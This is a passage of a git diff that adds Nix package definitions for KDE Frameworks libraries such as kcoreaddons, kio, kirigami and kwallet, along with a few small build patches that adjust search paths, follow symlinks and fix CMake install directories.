b/pkgs/kde/frameworks/kconfigwidgets/default.nix new file mode 100644 index 0000000000000..354972d005aeb --- /dev/null +++ b/pkgs/kde/frameworks/kconfigwidgets/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kconfigwidgets"; + + extraBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kcontacts/default.nix b/pkgs/kde/frameworks/kcontacts/default.nix new file mode 100644 index 0000000000000..57e35a90a9ae5 --- /dev/null +++ b/pkgs/kde/frameworks/kcontacts/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kcontacts"; +} diff --git a/pkgs/kde/frameworks/kcoreaddons/default.nix b/pkgs/kde/frameworks/kcoreaddons/default.nix new file mode 100644 index 0000000000000..12c6ae5d770bd --- /dev/null +++ b/pkgs/kde/frameworks/kcoreaddons/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qttools, + shared-mime-info, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kcoreaddons"; + + extraNativeBuildInputs = [qttools shared-mime-info]; + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/kcrash/default.nix b/pkgs/kde/frameworks/kcrash/default.nix new file mode 100644 index 0000000000000..b3ade8fd67638 --- /dev/null +++ b/pkgs/kde/frameworks/kcrash/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kcrash"; +} diff --git a/pkgs/kde/frameworks/kdav/default.nix b/pkgs/kde/frameworks/kdav/default.nix new file mode 100644 index 0000000000000..d53562fc9038b --- /dev/null +++ b/pkgs/kde/frameworks/kdav/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdav"; +} diff --git a/pkgs/kde/frameworks/kdbusaddons/default.nix b/pkgs/kde/frameworks/kdbusaddons/default.nix new file mode 100644 index 0000000000000..f7d80a5746f32 --- /dev/null +++ b/pkgs/kde/frameworks/kdbusaddons/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kdbusaddons"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kdeclarative/default.nix b/pkgs/kde/frameworks/kdeclarative/default.nix new file mode 100644 index 0000000000000..8b05ec66b0f4a --- /dev/null +++ b/pkgs/kde/frameworks/kdeclarative/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtdeclarative, + spirv-tools, +}: +mkKdeDerivation { + pname = "kdeclarative"; + + extraNativeBuildInputs = [spirv-tools]; + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/kded/default.nix b/pkgs/kde/frameworks/kded/default.nix new file mode 100644 index 0000000000000..dc6fa84d5347f --- /dev/null +++ b/pkgs/kde/frameworks/kded/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kded"; +} diff --git a/pkgs/kde/frameworks/kdesu/default.nix b/pkgs/kde/frameworks/kdesu/default.nix new file mode 100644 index 0000000000000..ae7ed3a33c383 --- /dev/null +++ b/pkgs/kde/frameworks/kdesu/default.nix @@ -0,0 +1,7 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kdesu"; + + # Look for NixOS SUID wrapper first + patches = [./kdesu-search-for-wrapped-daemon-first.patch]; +} diff --git a/pkgs/kde/frameworks/kdesu/kdesu-search-for-wrapped-daemon-first.patch b/pkgs/kde/frameworks/kdesu/kdesu-search-for-wrapped-daemon-first.patch new file mode 100644 index 0000000000000..1379707f02fe0 --- /dev/null +++ b/pkgs/kde/frameworks/kdesu/kdesu-search-for-wrapped-daemon-first.patch @@ -0,0 +1,38 @@ +From 01af4d2a098e5819c09bca37568941dcd4b89d0b Mon Sep 17 00:00:00 2001 +From: =?UTF-8?q?Jos=C3=A9=20Romildo=20Malaquias?= <malaquias@gmail.com> +Date: Thu, 16 Jul 2020 13:21:42 -0300 +Subject: [PATCH] Search for the daemon first in /run/wrappers/bin + +If looking first in libexec, the eventually wrapped one in +/run/wrappers/bin can not be found. +--- + src/client.cpp | 13 ++++++++----- + 1 file changed, 8 insertions(+), 5 deletions(-) + +diff --git a/src/client.cpp b/src/client.cpp +index 44fbacd..6b5abf5 100644 +--- a/src/client.cpp ++++ b/src/client.cpp +@@ -384,11 +384,14 @@ int KDEsuClient::stopServer() + + static QString findDaemon() + { +- QString daemon = QFile::decodeName(KDE_INSTALL_FULL_LIBEXECDIR_KF "/kdesud"); +- if (!QFile::exists(daemon)) { // if not in libexec, find it in PATH +- daemon = QStandardPaths::findExecutable(QStringLiteral("kdesud")); +- if (daemon.isEmpty()) { +- qCWarning(KSU_LOG) << "kdesud daemon not found."; ++ QString daemon = QFile::decodeName("/run/wrappers/bin/kdesud"); ++ if (!QFile::exists(daemon)) { // if not in wrappers ++ daemon = QFile::decodeName(KDE_INSTALL_FULL_LIBEXECDIR_KF "/kdesud"); ++ if (!QFile::exists(daemon)) { // if not in libexec, find it in PATH ++ daemon = QStandardPaths::findExecutable(QStringLiteral("kdesud")); ++ if (daemon.isEmpty()) { ++ qCWarning(KSU_LOG) << "kdesud daemon not found."; ++ } + } + } + return daemon; +-- +2.27.0 + diff --git a/pkgs/kde/frameworks/kdnssd/default.nix b/pkgs/kde/frameworks/kdnssd/default.nix new file mode 100644 index 0000000000000..3241dcf9c2fb5 --- /dev/null +++ b/pkgs/kde/frameworks/kdnssd/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qttools, + avahi, +}: +mkKdeDerivation { + pname = "kdnssd"; + + extraNativeBuildInputs = [qttools]; + extraBuildInputs = [avahi]; +} diff --git a/pkgs/kde/frameworks/kdoctools/default.nix b/pkgs/kde/frameworks/kdoctools/default.nix new file mode 100644 index 0000000000000..8e8341997a2b0 --- /dev/null +++ b/pkgs/kde/frameworks/kdoctools/default.nix @@ -0,0 +1,18 @@ +{ + mkKdeDerivation, + docbook_xml_dtd_45, + docbook-xsl-nons, + perl, + perlPackages, +}: +mkKdeDerivation { + pname = "kdoctools"; + + # lots of self-references, the output is pretty small (~5MB), not worth trying to untangle + outputs = ["out"]; + + # Perl could be used both at build time and at runtime. + extraNativeBuildInputs = [perl perlPackages.URI]; + extraBuildInputs = [docbook_xml_dtd_45 docbook-xsl-nons]; + extraPropagatedBuildInputs = [perl perlPackages.URI]; +} diff --git a/pkgs/kde/frameworks/kfilemetadata/cmake-install-paths.patch b/pkgs/kde/frameworks/kfilemetadata/cmake-install-paths.patch new file mode 100644 index 0000000000000..3b3631fb3abe4 --- /dev/null +++ b/pkgs/kde/frameworks/kfilemetadata/cmake-install-paths.patch @@ -0,0 +1,14 @@ +diff --git a/src/CMakeLists.txt b/src/CMakeLists.txt +index 84cc68c..2e02194 100644 +--- a/src/CMakeLists.txt ++++ b/src/CMakeLists.txt +@@ -85,7 +85,7 @@ install(TARGETS KF6FileMetaData EXPORT KF6FileMetaDataTargets ${KF_INSTALL_TARGE + + install(EXPORT KF6FileMetaDataTargets + NAMESPACE KF6:: +- DESTINATION ${KDE_INSTALL_LIBDIR}/cmake/KF6FileMetaData ++ DESTINATION ${KDE_INSTALL_FULL_CMAKEPACKAGEDIR}/KF6FileMetaData + FILE KF6FileMetaDataTargets.cmake) + + install(FILES + \ No newline at end of file diff --git a/pkgs/kde/frameworks/kfilemetadata/default.nix b/pkgs/kde/frameworks/kfilemetadata/default.nix new file mode 100644 index 0000000000000..0e9fd5489e7e1 --- /dev/null +++ b/pkgs/kde/frameworks/kfilemetadata/default.nix @@ -0,0 +1,21 @@ +{ + mkKdeDerivation, + pkg-config, + attr, + ebook_tools, + exiv2, + ffmpeg, + kconfig, + kdegraphics-mobipocket, + libappimage, +}: +mkKdeDerivation { + pname = "kfilemetadata"; + + # Fix installing cmake files into wrong directory + # FIXME(later): upstream + patches = [./cmake-install-paths.patch]; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [attr ebook_tools exiv2 ffmpeg kconfig kdegraphics-mobipocket libappimage]; +} diff --git a/pkgs/kde/frameworks/kglobalaccel/default.nix b/pkgs/kde/frameworks/kglobalaccel/default.nix new file mode 100644 index 0000000000000..b7d5e627d64fb --- /dev/null +++ b/pkgs/kde/frameworks/kglobalaccel/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kglobalaccel"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kguiaddons/default.nix b/pkgs/kde/frameworks/kguiaddons/default.nix new file mode 100644 index 0000000000000..899786eefbdae --- /dev/null +++ b/pkgs/kde/frameworks/kguiaddons/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtwayland, + pkg-config, + wayland, +}: +mkKdeDerivation { + pname = "kguiaddons"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtwayland wayland]; +} diff --git a/pkgs/kde/frameworks/kholidays/default.nix b/pkgs/kde/frameworks/kholidays/default.nix new file mode 100644 index 0000000000000..07702734a06b6 --- /dev/null +++ b/pkgs/kde/frameworks/kholidays/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qttools, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kholidays"; + + extraNativeBuildInputs = [qttools]; + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/ki18n/default.nix b/pkgs/kde/frameworks/ki18n/default.nix new file mode 100644 index 0000000000000..2a082a9dfe579 --- /dev/null +++ b/pkgs/kde/frameworks/ki18n/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "ki18n"; + + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/kiconthemes/default.nix b/pkgs/kde/frameworks/kiconthemes/default.nix new file mode 100644 index 0000000000000..378a3f7f87b7d --- /dev/null +++ b/pkgs/kde/frameworks/kiconthemes/default.nix @@ -0,0 +1,15 @@ +{ + mkKdeDerivation, + qtdeclarative, + qtsvg, + qttools, +}: +mkKdeDerivation { + pname = "kiconthemes"; + + extraBuildInputs = [ + qtdeclarative + qtsvg + qttools + ]; +} diff --git a/pkgs/kde/frameworks/kidletime/default.nix b/pkgs/kde/frameworks/kidletime/default.nix new file mode 100644 index 0000000000000..8fd68f04ec14d --- /dev/null +++ b/pkgs/kde/frameworks/kidletime/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qtwayland, + pkg-config, + wayland-protocols, + xorg, +}: +mkKdeDerivation { + pname = "kidletime"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtwayland xorg.libXScrnSaver wayland-protocols]; +} diff --git a/pkgs/kde/frameworks/kimageformats/default.nix b/pkgs/kde/frameworks/kimageformats/default.nix new file mode 100644 index 0000000000000..21c84cb569927 --- /dev/null +++ b/pkgs/kde/frameworks/kimageformats/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + pkg-config, + libheif, + libjxl, + libavif, + libraw, + openexr_3, +}: +mkKdeDerivation { + pname = "kimageformats"; + + extraCmakeFlags = ["-DKIMAGEFORMATS_HEIF=1"]; + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [libheif libjxl libavif libraw openexr_3]; +} diff --git a/pkgs/kde/frameworks/kio/0001-Remove-impure-smbd-search-path.patch b/pkgs/kde/frameworks/kio/0001-Remove-impure-smbd-search-path.patch new file mode 100644 index 0000000000000..e541f7a05e8d9 --- /dev/null +++ b/pkgs/kde/frameworks/kio/0001-Remove-impure-smbd-search-path.patch @@ -0,0 +1,25 @@ +From af54a2a37655df26a33bc6783cb472c38f65322f Mon Sep 17 00:00:00 2001 +From: Thomas Tuegel <ttuegel@mailbox.org> +Date: Sun, 28 Mar 2021 10:31:12 -0500 +Subject: [PATCH 1/2] Remove impure smbd search path + +--- + src/core/ksambashare.cpp | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/src/core/ksambashare.cpp b/src/core/ksambashare.cpp +index e810ce4..7cfb4e6 100644 +--- a/src/core/ksambashare.cpp ++++ b/src/core/ksambashare.cpp +@@ -61,7 +61,7 @@ KSambaSharePrivate::~KSambaSharePrivate() + bool KSambaSharePrivate::isSambaInstalled() + { + const bool daemonExists = +- !QStandardPaths::findExecutable(QStringLiteral("smbd"), {QStringLiteral("/usr/sbin/"), QStringLiteral("/usr/local/sbin/")}).isEmpty(); ++ !QStandardPaths::findExecutable(QStringLiteral("smbd")).isEmpty(); + if (!daemonExists) { + qCDebug(KIO_CORE_SAMBASHARE) << "KSambaShare: Could not find smbd"; + } +-- +2.30.1 + diff --git a/pkgs/kde/frameworks/kio/default.nix b/pkgs/kde/frameworks/kio/default.nix new file mode 100644 index 0000000000000..03c2da9e0f5ad --- /dev/null +++ b/pkgs/kde/frameworks/kio/default.nix @@ -0,0 +1,18 @@ +{ + mkKdeDerivation, + qt5compat, + qttools, + acl, + attr, +}: +mkKdeDerivation { + pname = "kio"; + + patches = [ + # Remove hardcoded smbd search path + # FIXME(later): discuss with upstream? + ./0001-Remove-impure-smbd-search-path.patch + ]; + + extraBuildInputs = [qt5compat qttools acl attr]; +} diff --git a/pkgs/kde/frameworks/kirigami/default.nix b/pkgs/kde/frameworks/kirigami/default.nix new file mode 100644 index 0000000000000..ee33f2e7b81c2 --- /dev/null +++ b/pkgs/kde/frameworks/kirigami/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + qtsvg, + qttools, + qtdeclarative, + qt5compat, +}: +mkKdeDerivation { + pname = "kirigami"; + + extraNativeBuildInputs = [qtsvg qttools]; + extraBuildInputs = [qtdeclarative]; + extraPropagatedBuildInputs = [qt5compat]; +} diff --git a/pkgs/kde/frameworks/kitemmodels/default.nix b/pkgs/kde/frameworks/kitemmodels/default.nix new file mode 100644 index 0000000000000..22476d21c4e47 --- /dev/null +++ b/pkgs/kde/frameworks/kitemmodels/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kitemmodels"; + + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/kitemviews/default.nix b/pkgs/kde/frameworks/kitemviews/default.nix new file mode 100644 index 0000000000000..b9831f05ea991 --- /dev/null +++ b/pkgs/kde/frameworks/kitemviews/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kitemviews"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kjobwidgets/default.nix b/pkgs/kde/frameworks/kjobwidgets/default.nix new file mode 100644 index 0000000000000..27e9720d84e11 --- /dev/null +++ b/pkgs/kde/frameworks/kjobwidgets/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kjobwidgets"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/knewstuff/default.nix b/pkgs/kde/frameworks/knewstuff/default.nix new file mode 100644 index 0000000000000..934167daf055e --- /dev/null +++ b/pkgs/kde/frameworks/knewstuff/default.nix @@ -0,0 +1,16 @@ +{ + mkKdeDerivation, + qtdeclarative, + qttools, + kcmutils, +}: +mkKdeDerivation { + pname = "knewstuff"; + + # Late resolve knsrcdir so other things install to their own prefix + # FIXME(later): upstream + patches = [./delay-resolving-knsrcdir.patch]; + + extraBuildInputs = [qtdeclarative qttools]; + extraPropagatedBuildInputs = [kcmutils]; +} diff --git a/pkgs/kde/frameworks/knewstuff/delay-resolving-knsrcdir.patch b/pkgs/kde/frameworks/knewstuff/delay-resolving-knsrcdir.patch new file mode 100644 index 0000000000000..15f85aa422fe5 --- /dev/null +++ b/pkgs/kde/frameworks/knewstuff/delay-resolving-knsrcdir.patch @@ -0,0 +1,14 @@ +diff --git a/KF6NewStuffCoreConfig.cmake.in b/KF6NewStuffCoreConfig.cmake.in +index d70f7132..f75e9fce 100644 +--- a/KF6NewStuffCoreConfig.cmake.in ++++ b/KF6NewStuffCoreConfig.cmake.in +@@ -20,7 +20,7 @@ if (NOT @BUILD_SHARED_LIBS@) + endif() + endif() + +-set(KDE_INSTALL_KNSRCDIR "@KDE_INSTALL_DATADIR@/knsrcfiles") ++set(KDE_INSTALL_KNSRCDIR "${KDE_INSTALL_DATADIR}/knsrcfiles") + + include("${CMAKE_CURRENT_LIST_DIR}/KF6NewStuffCoreTargets.cmake") + @PACKAGE_INCLUDE_CORE_QCHTARGETS@ + \ No newline at end of file diff --git a/pkgs/kde/frameworks/knotifications/default.nix b/pkgs/kde/frameworks/knotifications/default.nix new file mode 100644 index 0000000000000..232d4469f0e61 --- /dev/null +++ b/pkgs/kde/frameworks/knotifications/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qttools, + qtdeclarative, + libcanberra, +}: +mkKdeDerivation { + pname = "knotifications"; + + extraNativeBuildInputs = [qttools]; + extraBuildInputs = [qtdeclarative libcanberra]; +} diff --git a/pkgs/kde/frameworks/knotifyconfig/default.nix b/pkgs/kde/frameworks/knotifyconfig/default.nix new file mode 100644 index 0000000000000..9c778a322b67d --- /dev/null +++ b/pkgs/kde/frameworks/knotifyconfig/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + libcanberra, +}: +mkKdeDerivation { + pname = "knotifyconfig"; + + extraBuildInputs = [libcanberra]; +} diff --git a/pkgs/kde/frameworks/kpackage/default.nix b/pkgs/kde/frameworks/kpackage/default.nix new file mode 100644 index 0000000000000..8f99e10047c04 --- /dev/null +++ b/pkgs/kde/frameworks/kpackage/default.nix @@ -0,0 +1,8 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kpackage"; + + # Follow symlinks when resolving packages + # FIXME(later): upstream + patches = [./follow-symlinks.patch]; +} diff --git a/pkgs/kde/frameworks/kpackage/follow-symlinks.patch b/pkgs/kde/frameworks/kpackage/follow-symlinks.patch new file mode 100644 index 0000000000000..8f0af89e1666d --- /dev/null +++ b/pkgs/kde/frameworks/kpackage/follow-symlinks.patch @@ -0,0 +1,13 @@ +diff --git a/src/kpackage/packageloader.cpp b/src/kpackage/packageloader.cpp +index 9dbd1f6..c50a6e5 100644 +--- a/src/kpackage/packageloader.cpp ++++ b/src/kpackage/packageloader.cpp +@@ -128,7 +128,7 @@ QList<KPluginMetaData> PackageLoader::listPackages(const QString &packageFormat, + } + + for (auto const &plugindir : std::as_const(paths)) { +- QDirIterator it(plugindir, QStringList{QStringLiteral("metadata.json")}, QDir::Files, QDirIterator::Subdirectories); ++ QDirIterator it(plugindir, QStringList{QStringLiteral("metadata.json")}, QDir::Files, QDirIterator::Subdirectories | QDirIterator::FollowSymlinks); + std::unordered_set<QString> dirs; + while (it.hasNext()) { + it.next(); diff --git a/pkgs/kde/frameworks/kparts/default.nix b/pkgs/kde/frameworks/kparts/default.nix new file mode 100644 index 0000000000000..547e8b1b016e3 --- /dev/null +++ b/pkgs/kde/frameworks/kparts/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kparts"; +} diff --git a/pkgs/kde/frameworks/kpeople/default.nix b/pkgs/kde/frameworks/kpeople/default.nix new file mode 100644 index 0000000000000..18d56704c2d81 --- /dev/null +++ b/pkgs/kde/frameworks/kpeople/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kpeople"; + + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/kplotting/default.nix b/pkgs/kde/frameworks/kplotting/default.nix new file mode 100644 index 0000000000000..b23c198fd8796 --- /dev/null +++ b/pkgs/kde/frameworks/kplotting/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kplotting"; + + extraBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kpty/default.nix b/pkgs/kde/frameworks/kpty/default.nix new file mode 100644 index 0000000000000..d60c2a5665f20 --- /dev/null +++ b/pkgs/kde/frameworks/kpty/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kpty"; +} diff --git a/pkgs/kde/frameworks/kquickcharts/default.nix b/pkgs/kde/frameworks/kquickcharts/default.nix new file mode 100644 index 0000000000000..305df6000403d --- /dev/null +++ b/pkgs/kde/frameworks/kquickcharts/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "kquickcharts"; + + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/krunner/default.nix b/pkgs/kde/frameworks/krunner/default.nix new file mode 100644 index 0000000000000..f817c1560c26e --- /dev/null +++ b/pkgs/kde/frameworks/krunner/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + plasma-activities, +}: +mkKdeDerivation { + pname = "krunner"; + + extraBuildInputs = [plasma-activities]; +} diff --git a/pkgs/kde/frameworks/kservice/default.nix b/pkgs/kde/frameworks/kservice/default.nix new file mode 100644 index 0000000000000..3da4fd1fdd754 --- /dev/null +++ b/pkgs/kde/frameworks/kservice/default.nix @@ -0,0 +1,10 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kservice"; + + patches = [ + # follow symlinks when generating sycoca + # FIXME(later): upstream + ./qdiriterator-follow-symlinks.patch + ]; +} diff --git a/pkgs/kde/frameworks/kservice/qdiriterator-follow-symlinks.patch b/pkgs/kde/frameworks/kservice/qdiriterator-follow-symlinks.patch new file mode 100644 index 0000000000000..fdd8b4d81a187 --- /dev/null +++ b/pkgs/kde/frameworks/kservice/qdiriterator-follow-symlinks.patch @@ -0,0 +1,13 @@ +diff --git a/src/sycoca/kbuildsycoca.cpp b/src/sycoca/kbuildsycoca.cpp +index b125299..0682b90 100644 +--- a/src/sycoca/kbuildsycoca.cpp ++++ b/src/sycoca/kbuildsycoca.cpp +@@ -207,7 +207,7 @@ bool KBuildSycoca::build() + const QStringList dirs = QStandardPaths::locateAll(QStandardPaths::GenericDataLocation, m_resourceSubdir, QStandardPaths::LocateDirectory); + qCDebug(SYCOCA) << "Looking for subdir" << m_resourceSubdir << "=>" << dirs; + for (const QString &dir : dirs) { +- QDirIterator it(dir, QDirIterator::Subdirectories); ++ QDirIterator it(dir, QDirIterator::Subdirectories | QDirIterator::FollowSymlinks); + while (it.hasNext()) { + const QString filePath = it.next(); + Q_ASSERT(filePath.startsWith(dir)); // due to the line below... diff --git a/pkgs/kde/frameworks/kstatusnotifieritem/default.nix b/pkgs/kde/frameworks/kstatusnotifieritem/default.nix new file mode 100644 index 0000000000000..bc3b255caaeb0 --- /dev/null +++ b/pkgs/kde/frameworks/kstatusnotifieritem/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kstatusnotifieritem"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/ksvg/default.nix b/pkgs/kde/frameworks/ksvg/default.nix new file mode 100644 index 0000000000000..82dbce5c08294 --- /dev/null +++ b/pkgs/kde/frameworks/ksvg/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + qtdeclarative, + qtsvg, +}: +mkKdeDerivation { + pname = "ksvg"; + + extraBuildInputs = [qtdeclarative qtsvg]; +} diff --git a/pkgs/kde/frameworks/ktexteditor/default.nix b/pkgs/kde/frameworks/ktexteditor/default.nix new file mode 100644 index 0000000000000..9a666c4e6a617 --- /dev/null +++ b/pkgs/kde/frameworks/ktexteditor/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + qtdeclarative, + qtspeech, + editorconfig-core-c, +}: +mkKdeDerivation { + pname = "ktexteditor"; + + extraBuildInputs = [qtdeclarative qtspeech editorconfig-core-c]; +} diff --git a/pkgs/kde/frameworks/ktexttemplate/default.nix b/pkgs/kde/frameworks/ktexttemplate/default.nix new file mode 100644 index 0000000000000..673a10863ac6a --- /dev/null +++ b/pkgs/kde/frameworks/ktexttemplate/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qtdeclarative, +}: +mkKdeDerivation { + pname = "ktexttemplate"; + + extraBuildInputs = [qtdeclarative]; +} diff --git a/pkgs/kde/frameworks/ktextwidgets/default.nix b/pkgs/kde/frameworks/ktextwidgets/default.nix new file mode 100644 index 0000000000000..a90de215c598d --- /dev/null +++ b/pkgs/kde/frameworks/ktextwidgets/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qtspeech, + qttools, +}: +mkKdeDerivation { + pname = "ktextwidgets"; + + extraBuildInputs = [ + qtspeech + qttools + ]; +} diff --git a/pkgs/kde/frameworks/kunitconversion/default.nix b/pkgs/kde/frameworks/kunitconversion/default.nix new file mode 100644 index 0000000000000..1d7cb52566d4e --- /dev/null +++ b/pkgs/kde/frameworks/kunitconversion/default.nix @@ -0,0 +1,4 @@ +{mkKdeDerivation}: +mkKdeDerivation { + pname = "kunitconversion"; +} diff --git a/pkgs/kde/frameworks/kuserfeedback/default.nix b/pkgs/kde/frameworks/kuserfeedback/default.nix new file mode 100644 index 0000000000000..979362e6bfb81 --- /dev/null +++ b/pkgs/kde/frameworks/kuserfeedback/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qttools, + qtsvg, +}: +mkKdeDerivation { + pname = "kuserfeedback"; + + # Disable server-side stuff we don't care about + extraCmakeFlags = ["-DENABLE_CONSOLE=0" "-DENABLE_CLI=0"]; + extraNativeBuildInputs = [qttools qtsvg]; +} diff --git a/pkgs/kde/frameworks/kwallet/default.nix b/pkgs/kde/frameworks/kwallet/default.nix new file mode 100644 index 0000000000000..3fffce1f30684 --- /dev/null +++ b/pkgs/kde/frameworks/kwallet/default.nix @@ -0,0 +1,10 @@ +{ + mkKdeDerivation, + libgcrypt, + kdoctools, +}: +mkKdeDerivation { + pname = "kwallet"; + + extraBuildInputs = [libgcrypt kdoctools]; +} diff --git a/pkgs/kde/frameworks/kwidgetsaddons/default.nix b/pkgs/kde/frameworks/kwidgetsaddons/default.nix new file mode 100644 index 0000000000000..09dfb3228d05c --- /dev/null +++ b/pkgs/kde/frameworks/kwidgetsaddons/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kwidgetsaddons"; + + extraNativeBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/kwindowsystem/default.nix b/pkgs/kde/frameworks/kwindowsystem/default.nix new file mode 100644 index 0000000000000..711638cb106c2 --- /dev/null +++ b/pkgs/kde/frameworks/kwindowsystem/default.nix @@ -0,0 +1,14 @@ +{ + mkKdeDerivation, + qttools, + qtdeclarative, + qtwayland, + pkg-config, + wayland, +}: +mkKdeDerivation { + pname = "kwindowsystem"; + + extraNativeBuildInputs = [qttools pkg-config]; + extraBuildInputs = [qtdeclarative qtwayland wayland]; +} diff --git a/pkgs/kde/frameworks/kxmlgui/default.nix b/pkgs/kde/frameworks/kxmlgui/default.nix new file mode 100644 index 0000000000000..64734cde5af65 --- /dev/null +++ b/pkgs/kde/frameworks/kxmlgui/default.nix @@ -0,0 +1,9 @@ +{ + mkKdeDerivation, + qttools, +}: +mkKdeDerivation { + pname = "kxmlgui"; + + extraBuildInputs = [qttools]; +} diff --git a/pkgs/kde/frameworks/modemmanager-qt/default.nix b/pkgs/kde/frameworks/modemmanager-qt/default.nix new file mode 100644 index 0000000000000..34a6f19548427 --- /dev/null +++ b/pkgs/kde/frameworks/modemmanager-qt/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + pkg-config, + modemmanager, +}: +mkKdeDerivation { + pname = "modemmanager-qt"; + + extraNativeBuildInputs = [pkg-config]; + extraPropagatedBuildInputs = [modemmanager]; +} diff --git a/pkgs/kde/frameworks/networkmanager-qt/default.nix b/pkgs/kde/frameworks/networkmanager-qt/default.nix new file mode 100644 index 0000000000000..bdec89a9ca1da --- /dev/null +++ b/pkgs/kde/frameworks/networkmanager-qt/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qtdeclarative, + pkg-config, + networkmanager, +}: +mkKdeDerivation { + pname = "networkmanager-qt"; + + extraNativeBuildInputs = [pkg-config]; + extraBuildInputs = [qtdeclarative]; + extraPropagatedBuildInputs = [networkmanager]; +} diff --git a/pkgs/kde/frameworks/prison/default.nix b/pkgs/kde/frameworks/prison/default.nix new file mode 100644 index 0000000000000..6411be8a34cf8 --- /dev/null +++ b/pkgs/kde/frameworks/prison/default.nix @@ -0,0 +1,12 @@ +{ + mkKdeDerivation, + qtdeclarative, + qtmultimedia, + qrencode, + libdmtx, +}: +mkKdeDerivation { + pname = "prison"; + + extraBuildInputs = [qtdeclarative qtmultimedia qrencode libdmtx]; +} diff --git a/pkgs/kde/frameworks/purpose/default.nix b/pkgs/kde/frameworks/purpose/default.nix new file mode 100644 index 0000000000000..8bf85ae19afe9 --- /dev/null +++ b/pkgs/kde/frameworks/purpose/default.nix @@ -0,0 +1,13 @@ +{ + mkKdeDerivation, + qtdeclarative, + kaccounts-integration, + kdeclarative, + prison, +}: +mkKdeDerivation { + pname = "purpose"; + + extraBuildInputs = [qtdeclarative]; + extraPropagatedBuildInputs = [kaccounts-integration kdeclarative prison]; +} diff --git a/pkgs/kde/frameworks/qqc2-desktop-style/default.nix b/pkgs/kde/frameworks/qqc2-desktop-style/default.nix new file mode 100644 index 0000000000000..13d7c9c92153c --- /dev/null +++ b/pkgs/kde/frameworks/qqc2-desktop-style/default.nix @@ -0,0 +1,11 @@ +{ + mkKdeDerivation, + 